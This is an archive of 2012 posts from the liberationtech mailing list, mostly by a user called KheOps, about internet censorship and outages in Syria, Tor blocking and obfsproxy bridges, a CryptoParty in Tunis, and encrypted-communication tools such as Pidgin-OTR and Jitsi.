(), Seq: 0, Len: 0 Source port: llsurfup-https (1184) Destination port: distinct () [Stream index: 2258] Sequence number: 0(relative sequence number) Header length: 28 bytes Flags: 0x002 (SYN) Window size value: 65535 [Calculated window size: 65535] Checksum: 0xdc28 [validation disabled] Options: (8 bytes) KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Google Hangout the new, better skype? Was Re: Skype redux
Hi everyone :) Le 21/12/2012 17:29, liberationt...@lewman.us a écrit : On Fri, 21 Dec 2012 06:52:35 -0800 Brian Conley bri...@smallworldnews.tv wrote: So I guess the question is, is there a more/similarly convenient video/audio chatting tool that can be advocated as a standard? Here's a single data point, extrapolate at your peril, I use Jitsi, https://jitsi.org/. We have tried to push Jitsi forward as a replacement to Skype, notably with Syrian people. In the first tries we did, it appeared really not easy to use from Syria, mainly because of the poor bandwidth there which seemed to prevent video calls to work correctly and NAT issues. We however haven't had time to dig more in Jitsi settings, and I wonder if someone had a good URL for documentation/tutorial? Thank you :) KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] Tor bridges blocked in Syria?
Hello everyone, I just saw that, and asked around via TelecomixSyria account for more info: https://twitter.com/dlshadothman/status/280415561681350657 Dlshad is promoting the use of the obfsproxy-enabled version of Tor as a consequence. However, I did not see if the blockade is based on the public list of Tor relays IP addresses, or if it's Iran-style blockade (detecting the Tor traffic). If it is the second case, this may mean the regime has setup new equipment for the blockade, which may have been done during that 3 days blackout. Does anyone have any more detail about this? KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] /. ITU Approves Deep Packet Inspection
Hi,
Le 05/12/2012 23:10, Pavol Luptak a écrit :
On Wed, Dec 05, 2012 at 07:27:27PM +0100, Christian Fuchs wrote:
[...]
DPI censorship is not a 'competitive' advantage, so it's quite likely that
in a pure market society ('anarchocapitalism') without strong socialistic
governments and their stupid Internet regulations, most Internet providers
WILL
NOT censor their connections, otherwise they will loose their customers. Most
customers are not willing to pay for censored Internet if they can choose
unfiltered free Internet. And the only one who can take them this right is
a monopoly for laws/regulations - the centralized government.
I'd say it can happen for purely economic reasons. For instance, in
France, some ISPs used to have marketing agreements with Dailymotion and
consequently slowed down Youtube access.
Another exemple is the will to forbid VoIP on 3G connections in order to
force people to continue using the old GSM thingy (also happening in
France afaik).
KheOps
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Re: [liberationtech] Censorship hardware - BLUECOAT IN SYIA
Hey, Le 03/12/2012 01:11, L. Aaron Kaplan a écrit : On Dec 2, 2012, at 2:00 AM, KheOps wrote: [...] What if that second picture - the one that popped up today - had been taken just recently by some opponent to the regime who managed to gain access to the Tarassul technical office; that intrusion could have lead the regime to do a kind of massive shutdown? As I said, this might make no sense at all. But in a way, such a total disruption, including the governmental/stock exchange/whatever websites could be something the regime itself did not really want. [...] Does anyone have any info on the paths that the fiber cables are taking from Tartus till Damascus? If they are not to cross the border and go to Lebanon, then they must pass by Homs. Usually fiber lines are next to train tracks or highways. Tartus is to my knowledge under regime control, as people there are mostly pro-regime. As for the rest of the path that the cables can take, I have no idea. Also the pictures from Tarassul which you reference above are to my knowledge in Alleppo. Sounds very strange to me. As far as I know they would rather be located in Damascus, either in a STE or Tarassul building. I'll ask around to fetch more info, if possible. Can anyone here say for sure that rebels could easily enter that building since it is in their controlled territory? But let's analyze this: what happens when some rebels enter the building where the blue-coats are ? What would they gain from cutting off the connections? Nothing, but I can easily imagine people saying those are the f*cking BlueCoats that are spying on us, let's unplug them without understanding that this would cause a massive outage. KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Censorship hardware - BLUECOAT IN SYIA
Le 03/12/2012 01:11, L. Aaron Kaplan a écrit Does anyone have any info on the paths that the fiber cables are taking from Tartus till Damascus? If they are not to cross the border and go to Lebanon, then they must pass by Homs. Usually fiber lines are next to train tracks or highways. Just another input: the cause of the outage is probably not a cut fiber, since inside the country the mobile coverage was down too, as well as landlines (not totally, though). -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Censorship hardware - BLUECOAT IN SYIA
Hi everyone, Le 01/12/2012 20:36, Bernard Tyers a écrit : About the photo: is there any idea where that photo was taken, and what date? Is it possible to get photos of the back of the rack? A similar picture was seen quite a while ago, on what was said to be the official Tarassul (main ISP in Syria, strongly linked to STE) Facebook page. Here it is: https://resources.telecomix.ceops.eu/material/bluecoat-Syria/tarassul-datacenter.jpg Clearly shows a number of BlueCoat appliances too, in a technical center containing servers etc. The BlueCoats are known to be technically on the Tarassul network, even though they are used for more than just this ISP. Cheers, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Censorship hardware - BLUECOAT IN SYIA
Hey, I'm thinking something that could be a total nonsense, but just in case I would like to share my thougths. Le 01/12/2012 19:39, Rafal Rohozinski a écrit : This pic has just been posted on twitter. It was picked up by the Secdev Syria Operation Group. It is allegeldy a picture of internet censorship hardware taken inside a telecom hub (exchange) in Damascus, http://twitter.com/AmaraaBaghdad/status/274919986399703040/photo/1 This picture just popped up on Twitter. A long time ago there was a picture taken from the official Tarassul Facebook pages that obviously show the same devices in the same office - https://resources.telecomix.ceops.eu/material/bluecoat-Syria/tarassul-datacenter.jpg What if that second picture - the one that popped up today - had been taken just recently by some opponent to the regime who managed to gain access to the Tarassul technical office; that intrusion could have lead the regime to do a kind of massive shutdown? As I said, this might make no sense at all. But in a way, such a total disruption, including the governmental/stock exchange/whatever websites could be something the regime itself did not really want. -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
[liberationtech] CryptoParty in Tunis tomorrow (Saturday, 1st December)
Dear all, With quite a short delay (sorry for that!) we're kicking off a CryptoParty tomorrow in Tunis. It will be held at the Engineering School ENSI (National School of Computer Sciences), and will start at 2PM. People will first meet in the main theatre. You may be aware that a previous event called CryptoParty was organized during the OpenITP Tech Summit on 27th November. However, the organizers required people to give their real ID in order to participate, requirement that was considered as not acceptable by a number of people, including people from the Tunis hackerspace. The event happening tomorrow is open to anyone, no control of any kind will be done. With datalove, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] CryptoParty in Tunis tomorrow (Saturday, 1st December)
Le 01/12/2012 01:50, Dragana Kaurin a écrit : Awesome, looking forward to it! Having some difficulty finding the location - can you give me an address and tell me which building on the campus? MMh even though I'll be attending, I'm not a Tunisian and will be guided to the school by some local friends. However, you will find a map link there: https://cryptoparty.org/wiki/Tunis I can also tell that it's in the Manouba area. There is a metro going there (actually it's a tramway, but called metro here :) Alternately, I'm going to meet up with a friend from hackerspace TN tomorrow at about 1PM at Place de la République (also named Passage) and we'll take transports to the ENSI. You'll find my face on the web if you want to spot me more easily. On Friday, November 30, 2012 15:57 EST, KheOps khe...@ceops.eu wrote: Dear all, With quite a short delay (sorry for that!) we're kicking off a CryptoParty tomorrow in Tunis. It will be held at the Engineering School ENSI (National School of Computer Sciences), and will start at 2PM. People will first meet in the main theatre. You may be aware that a previous event called CryptoParty was organized during the OpenITP Tech Summit on 27th November. However, the organizers required people to give their real ID in order to participate, requirement that was considered as not acceptable by a number of people, including people from the Tunis hackerspace. The event happening tomorrow is open to anyone, no control of any kind will be done. With datalove, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Request for comments: Gaza Trust Package
Le 20/11/2012 04:58, Uncle Zzzen a écrit : Maybe a few VPN software as well? I don't know any VPN software packages for any platform. I have linux (so it comes with openvpn) and not many people have computers where I live :). Is there anything standard (and open-source) for Windows and mac, or is it provider-dependent? (I know that some VPN providers generate a user-specific .exe installer). Also: are VPNs a practical solution for an untrusted zone? Well, you're right, a VPN software such as OpenVPN still needs some VPN provider to connect to. Unlike Tor that can work out of the box. However, since your guide seems to be designed for geek users, if there exists an OpenVPN executable that can be downloaded for Windows and Mac, it might be relevant put its checksum there as well. KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Request for comments: Gaza Trust Package
Le 20/11/2012 12:13, Uncle Zzzen a écrit : However, since your guide seems to be designed for geek users, if there exists an OpenVPN executable that can be downloaded for Windows and Mac, it might be relevant put its checksum there as well. I agree that if someone who clones this knows and /trusts/ VPN software for these platforms, he/she should add them ;) Well, OpenVPN for Windows is still an opensource software. Is there any reason it should not be trusted? -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Request for comments: Gaza Trust Package
Hi, Le 19/11/2012 21:44, Uncle Zzzen a écrit : Please comment on https://gist.github.com/4112966/ and let me know what you think I should change before I can remove the word experimental and start spreading this. Unless I didn't see it, may I suggest to add links and checksums for the Tor Browser Bundle on Linux Mac? Maybe a few VPN software as well? Just the classical ideas that come through my mind though, since I don't know how bad is the communication in Gaza. Cheers, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Arabic Pidgin-OTR Tutorial
Le 18/11/2012 16:26, Marcin de Kaminski a écrit : Also, since it was discussed on this list: what is the status of Pidgin OTR? Didn't it have some sec flaws? As far as I remember, Pidgin has can use (through libpurple) two different libraries to handle SSL connections - one of them seemed to be really broken. However, I think the OTR plugin has a pretty good reputation, and a private OTR conversation (with verified fingerprints), even using a broken SSL implementation from Pidgin, provides an end-to-end encryption of the discussion. Hence, I tend to think, using Pidgin + that OTR plugin still looks to be a good advice to me. Correct me if I'm wrong :) KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Arabic Pidgin-OTR Tutorial
Let myself be more precise, Le 18/11/2012 23:17, KheOps a écrit : Le 18/11/2012 16:26, Marcin de Kaminski a écrit : Also, since it was discussed on this list: what is the status of Pidgin OTR? Didn't it have some sec flaws? As far as I remember, Pidgin has can use (through libpurple) two different libraries to handle SSL connections - one of them seemed to be really broken. I do not think the library itself is broken, it's the way libpurple uses it. -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] CryptoParty Handbook
Good day to you all :) On 10/05/2012 03:57 AM, Griffin Boyce wrote: Hey all, Considering both the complexity of material and the time constraints involved, the handbook came out beautifully. It's well-laid out and covers a surprisingly large number of topics step-by-step at a beginner level. Anyone who has a solid understanding of how to use the internet can be taught how to use common encryption tools with this manual. And that in and of itself is amazing. Yes, I found amazing that such a thing was produced in such a short amount of time. It can't be expected to be perfect and totally up-to-date with bleeding edge knowledge on security, but can be a very good start for introducing a lot of topics, provided that some mistakes are corrected (e.g. the file shredding things). In any case the initiative is excellent. It could deserve translations in other languages. Having it in wiki format is tricky because of vandalism, but perhaps turning it into a github repository might be a better option. That way, you could see updates line-by-line and cherry-pick the ones you want/don't want. I was wondering if a LaTeX file + git repository could be a good idea? Any comment on this? Cheers, KheOps -- Unsubscribe, change to digest, or change password at: https://mailman.stanford.edu/mailman/listinfo/liberationtech
Re: [liberationtech] Hearing Syria internet cut
Hey, On 07/20/2012 04:45 PM, Walid AL-SAQAF alkasir admin wrote: Hi all, I confirm that there appears to be an issue with users of Alkasir from Syria lately. Users from 14 different ISPs used to connect, but recently, only 11 ISPs are used and I noticed that no users are coming through the following ISPs: * INET-INTERNET-SERVICE-PROVIDER * RUNNET * TARASSUL-INETNET-SERVICE-PROVIDER One subscriber of Tarassul reported that at some point he was attributed an IP address of E-lcom ISP instead of one of Tarassul. There might be tech problems there. Maybe some areas of Damascus were shaken and part of the infrastructure has been damaged? Sincerely, Walid KheOps signature.asc Description: OpenPGP digital signature ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech
Re: [liberationtech] Hearing Syria internet cut
Hi, Tarassul ISP (also the biggest in Syria) seems to be specifically undergoing problems to reach some hosts. But until now our tests only showed quite random results. KheOps On 07/20/2012 11:55 AM, Brian Conley wrote: I have a colleague who was in touch with multiple individuals in Syria today, I believe after 1400 utc, but I have to confirm. Sent from my iPad On Jul 20, 2012, at 2:20, Andrew Lewis and...@pdqvpn.com wrote: And those prefixes cover the entire commercial Internet space, in effect all of Syria was down. There have also been reports of routing issues all day. I haven't been able to confirm. I honestly think we are headed towards a communication blackout. Andrew On Jul 20, 2012, at 4:54 AM, Eugen Leitl eu...@leitl.org wrote: - Forwarded message from Andree Toonk andree+na...@toonk.nl - From: Andree Toonk andree+na...@toonk.nl Date: Thu, 19 Jul 2012 23:21:21 -0700 To: George Bonser gbon...@seven.com Cc: na...@nanog.org na...@nanog.org Subject: Re: Hearing Syria internet cut User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.6; rv:13.0) Gecko/20120614 Thunderbird/13.0.1 Reply-To: and...@toonk.nl .-- My secret spy satellite informs me that at 12-07-19 10:00 PM George Bonser wrote: Can anyone confirm? Yes confirmed, about 90% of the Syrian prefixes disappeared from the BGP tables between 13:32 and 14:13 (UTC) earlier today (2012-07-19). Cheers, Andree - End forwarded message - -- Eugen* Leitl a href=http://leitl.org;leitl/a http://leitl.org __ ICBM: 48.07100, 11.36820 http://www.ativel.com http://postbiota.org 8B29F6BE: 099D 78BA 2FD3 B014 B08A 7779 75B0 2443 8B29 F6BE ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech signature.asc Description: OpenPGP digital signature ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech
Re: [liberationtech] Julian Assange is seeking asylum
hai, On 06/19/2012 09:09 PM, Frank Corrigan wrote: Wikileaks founder Julian Assange is seeking asylum at Ecuador's embassy in London, says Ecuador foreign minister. http://www.bbc.co.uk/news/uk-18514726 It looks like Assange has a huge sense of trolling. :) Cheers, KheOps signature.asc Description: OpenPGP digital signature ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech
Re: [liberationtech] Syria blackout?
Yes, this has been confirmed by several people we know there. Tor seems to be blocked at least on 3G connections. Download of some file extensions through cleartext HTTP is blocked too (mp4, flv, mpg, ...). It seems UltraSurf and some other VPNs are blocked too, though as Andrew said, some other specific ones continue working. For Tor, it would be worth setting up obfsproxy-equipped bridges. We will try to work on this asap on our side. KheOps On 05/31/2012 08:36 PM, Andrew wrote: And it looks like I maybe wrong. It seems that torrents, and videos stopped working sometime yesterday. I am going to do some more digging. Tor, and some specific types of VPNs still seem to be working fine. -Andrew On 5/31/2012 2:26 PM, Eugen Leitl wrote: - Forwarded message from Rafael Cresci raf...@cresci.org - From: Rafael Cresci raf...@cresci.org Date: Thu, 31 May 2012 14:41:09 -0300 To: na...@nanog.org Subject: Syria blackout? X-Mailer: Apple Mail (2.1278) Customers (from UAE) who have servers with us in Atlanta - one of the companies I work for, remaining anonymus for the moment - are reporting that their sub-customers and viewers from Syria can't access FTP or download any kind of Flash/video/multimedia content from inside that country. Completely blocked. Anyone confirms? Another government blockage to avoid social captiruing of massacre videos and photos? - End forwarded message - ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech signature.asc Description: OpenPGP digital signature ___ liberationtech mailing list liberationtech@lists.stanford.edu Should you need to change your subscription options, please go to: https://mailman.stanford.edu/mailman/listinfo/liberationtech If you would like to receive a daily digest, click yes (once you click above) next to would you like to receive list mail batched in a daily digest? You will need the user name and password you receive from the list moderator in monthly reminders. You may ask for a reminder here: https://mailman.stanford.edu/mailman/listinfo/liberationtech Should you need immediate assistance, please contact the list moderator. Please don't forget to follow us on http://twitter.com/#!/Liberationtech
